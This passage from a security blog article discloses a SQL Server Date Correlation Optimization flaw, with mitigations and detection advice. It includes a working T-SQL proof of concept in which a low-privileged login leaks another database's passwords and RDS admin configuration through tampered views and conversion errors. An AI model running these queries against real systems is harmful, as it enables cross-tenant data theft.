AppLogin;\nGO<\/pre><\/div>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-7-open-a-new-session-and-log-as-applogin\">7. Open a new session and log as AppLogin:<\/h3>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">\/* Step 7 *\/\n\/* Open a new session and Log as AppLogin *\/\nUSE Sword_of_Omens\nGO\n\/* Try to read data from SensitiveData DB *\/\nSELECT UserName, Password\nFROM SensitiveData.dbo.UserInfo\nGO\n\/*\nMsg 916, Level 14, State 2, Line 3\nThe server principal \"AppLogin\" is not able to access the database \"SensitiveData\" under the current security context.\n*\/\n\n\/* Let's create our special view to be executed internally by MSSQL *\/\nDROP VIEW IF EXISTS dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!]\nGO\nCREATE VIEW dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!]\nAS\nSELECT (\n  SELECT UserName, Password\n  FROM SensitiveData.dbo.UserInfo\n  FOR XML AUTO, BINARY BASE64\n) AS ColXML\nGO\n-- As expected, same error as before, AppLogin doesn't have access to SensitiveData DB\nSELECT * FROM [Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!]\nGO\n\/*\nMsg 916, Level 14, State 2, Line 23\nThe server principal \"AppLogin\" is not able to access the database \"SensitiveData\" under the current security context.\n*\/\n\n\/* Call out for Sword of Omens to get sight beyond sight! *\/\nINSERT INTO Panthro(RowID, ColDt)\nVALUES (1, GETDATE() - ABS(CheckSum(NEWID()) \/ 10000000))\nGO\n\/* Leaked data *\/\n\/*\nMsg 245, Level 16, State 1, Line 35\nConversion failed when converting the nvarchar value '&lt;SensitiveData.dbo.UserInfo UserName=\"Fabiano\" Password=\"This is a very strong password, I am pretty confident that no one will ever be able to crack it, let me add some special characters to make it even stronger 3323123098$#(*^^#%$%!(@#*&amp;amp;, all good!\"\/&gt;' to data type int.\n*\/\n\n\/* I should not have access to this... *\/\n\/* Did audit had this access on audit ? *\/\n\/* You'll need to run this with admin to be able to have access to rds_fn_get_audit_file *\/\n\n\/* Nope, as we can see... *\/\nSELECT \n  rds_fn_get_audit_file.file_name,\n  rds_fn_get_audit_file.event_time,\n  rds_fn_get_audit_file.action_id,\n  sys.dm_audit_actions.name,\n  rds_fn_get_audit_file.application_name,\n  rds_fn_get_audit_file.session_server_principal_name,\n  rds_fn_get_audit_file.database_principal_name,\n  rds_fn_get_audit_file.database_name,\n  rds_fn_get_audit_file.statement\nFROM msdb.dbo.rds_fn_get_audit_file('D:\\rdsdbdata\\audit\\*', NULL, NULL)\nINNER JOIN sys.dm_audit_actions\nON dm_audit_actions.action_id = rds_fn_get_audit_file.action_id;\nGO\n\n\/* Can I use this to access stuff from rdsadmin ? *\/\n\/* Sure *\/\n\n\/* Let's create our special view to be executed internally by MSSQL *\/\nDROP VIEW IF EXISTS dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!]\nGO\nCREATE VIEW dbo.[Sword of Omens, give me sight beyond sight! Thunder... Thunder... ThunderCats! Hooo!]\nAS\nSELECT (\n  SELECT name, value\n  FROM rdsadmin.dbo.rds_configuration\n  FOR XML AUTO, BINARY BASE64\n) AS ColXML\nGO\n\n\/* Call out for Sword of Omens to get sight beyond sight! *\/\nINSERT INTO Panthro(RowID, ColDt)\nVALUES (1, GETDATE() - ABS(CheckSum(NEWID()) \/ 10000000))\nGO\n\/* Leaked data *\/\n\/*\nMsg 245, Level 16, State 1, Line 78\nConversion failed when converting the nvarchar value '&lt;rdsadmin.dbo.rds_configuration name=...\/&gt;' to data type int.\n*\/<\/pre><\/div>\n\n\n\n<p>Although this write-up uses Amazon RDS for SQL Server as the worked example, the underlying flaw is platform-agnostic. Any managed service that accepts customer backups and restores them, whether AWS RDS, <a href=\"https:\/\/cloud.google.com\/sql?hl=en\" target=\"_blank\" rel=\"noreferrer noopener\">Google Cloud SQL<\/a>, <a href=\"https:\/\/www.alibabacloud.com\/en\/product\/apsaradb-for-rds-mysql?_p_lc=1\" target=\"_blank\" rel=\"noreferrer noopener\">Alibaba ApsaraDB<\/a>, or a private managed offering, inherits that risk.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-final-thoughts\">Final Thoughts<\/h2>\n\n\n\n<p>The vulnerability presented here exposes how even mature, enterprise-grade cloud services for SQL Server can contain critical architectural oversights that allow full privilege escalation within managed environments.<\/p>\n\n\n\n<p>While cloud vendors have typically demonstrated strong security practices, the existence of such sophisticated vulnerabilities emphasizes the need for continuous security assessment, relentless vigilance in security architecture design, robust anomaly detection mechanisms, the rigorous testing of safeguards against complex privilege escalation scenarios, and immediate remediation procedures.<\/p>\n\n\n\n<p>I\u2019ve reported the vulnerability to Microsoft, who assessed it as low-severity &#8211; meaning they probably won&#8217;t work on it in the near future. Until a vendor-level remediation is applied, all SQL Server users must understand the risks of restoring a database from an untrusted source.<\/p>\n\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: SQL Server Date Correlation Optimization (DCO) Exploit<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is Date Correlation Optimization (DCO) in SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <p><a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/the-query-optimizer-date-correlation-optimisation\/\" target=\"_blank\" rel=\"noopener\">DCO<\/a> is a SQL Server feature that creates hidden, schema\u2011bound indexed views to speed up date correlation queries between related tables.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. What\u2019s the core vulnerability discussed here?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">A low\u2011privileged tenant can restore a specially crafted <\/span><code>.bak<\/code><span style=\"font-size: 1rem\"> where the internal DCO view definition was tampered, causing the optimizer to execute malicious cross\u2011database logic during normal queries and leak data via error messages.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Who is impacted by this issue?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Any SQL Server environment\u2014especially DBaaS\/managed services\u2014that accepts customer backups (e.g., RDS for SQL Server and similar offerings) can be affected.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. How does the attack work in practice?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">The attacker embeds a malicious predicate in the internal DCO view; when the optimizer probes that view (NOEXPAND), it runs the cross\u2011database subquery under engine\u2011level context, and sensitive data can surface in conversion error messages.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. Does this bypass database permissions and auditing?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Yes. The execution happens as an optimizer\u2011internal query, which can bypass normal cross\u2011database checks and often won\u2019t appear under typical sensitive batch audit categories.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">6. What data could be exposed?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Rows from other user databases and, in some cases, internal\/managed databases if referenced by the tampered view.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">7. Is this a misconfiguration or a design issue with SQL Server?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">It\u2019s a design flaw stemming from SQL Server\u2019s trust in persisted metadata for internal objects (like DCO views) that survive backup\/restore.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">8. Which versions of SQL Server are affected?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">The technique targets how DCO\u2019s internal objects are persisted and trusted; the demo uses SQL Server 2022, but the risk relates to the DCO mechanism and restore path, not one specific version.<\/span><\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">9. What are practical mitigations right now?<\/h3>\n            <div class=\"faq-answer\">\n                <ul>\n<li><strong>Never restore untrusted backups<\/strong> into shared or managed instances.<\/li>\n<li><strong>Disable or restrict DCO<\/strong> where it\u2019s not needed, and rebuild internal stats\/objects after restore when feasible.<\/li>\n<li><strong>Harden restore workflows<\/strong> (quarantine\/validation steps, re\u2011creation of internal objects, post\u2011restore integrity checks).<\/li>\n<li><strong>Tighten auditing\/monitoring<\/strong> to flag unusual optimizer errors (e.g., XML\u2192INT conversion) and unexpected cross\u2011DB access patterns.<\/li>\n<\/ul>\n            <\/div>\n                    <h3 class=\"mt-4xl\">10. How can I detect signs of this attack?<\/h3>\n            <div class=\"faq-answer\">\n                <p><span style=\"font-size: 1rem\">Look for unexpected conversion errors containing XML payloads, optimizer\u2011internal accesses to hidden DCO views, and unexplained cross\u2011database reads not tied to a user batch.<\/span><\/p>\n            <\/div>\n            <\/section>\n\n\n\n<section id=\"my-first-block-block_c7d692f6048df3f62576fbc4d57c5e37\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Subscribe to the Simple Talk newsletter<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox every two weeks.                                    <\/div>\n            <\/div>\n                            <a href=\"https:\/\/www.red-gate.com\/simple-talk\/subscribe\/\" class=\"btn btn--secondary btn--lg\">Subscribe now<\/a>\n                    <\/div>\n    <\/div>\n<\/section>","protected":false},"excerpt":{"rendered":"<p>This article reveals a critical SQL Server flaw: attackers can weaponize Date Correlation Optimization (DCO) views in restored backups to bypass isolation and exfiltrate sensitive data. Learn how the exploit works and what steps you can take to mitigate the risk.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":108045,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[143523,53,143530,143524],"tags":[4619,5765,4150,4151],"coauthors":[6809],"class_list":["post-108038","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-databases","category-featured","category-security","category-sql-server","tag-security","tag-security-and-compliance","tag-sql","tag-sql-server"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/108038","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=108038"}],"version-history":[{"count":8,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/108038\/revisions"}],"predecessor-version":[{"id":108053,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/108038\/revisions\/108053"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/108045"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=108038"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=108038"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=108038"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=108038"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}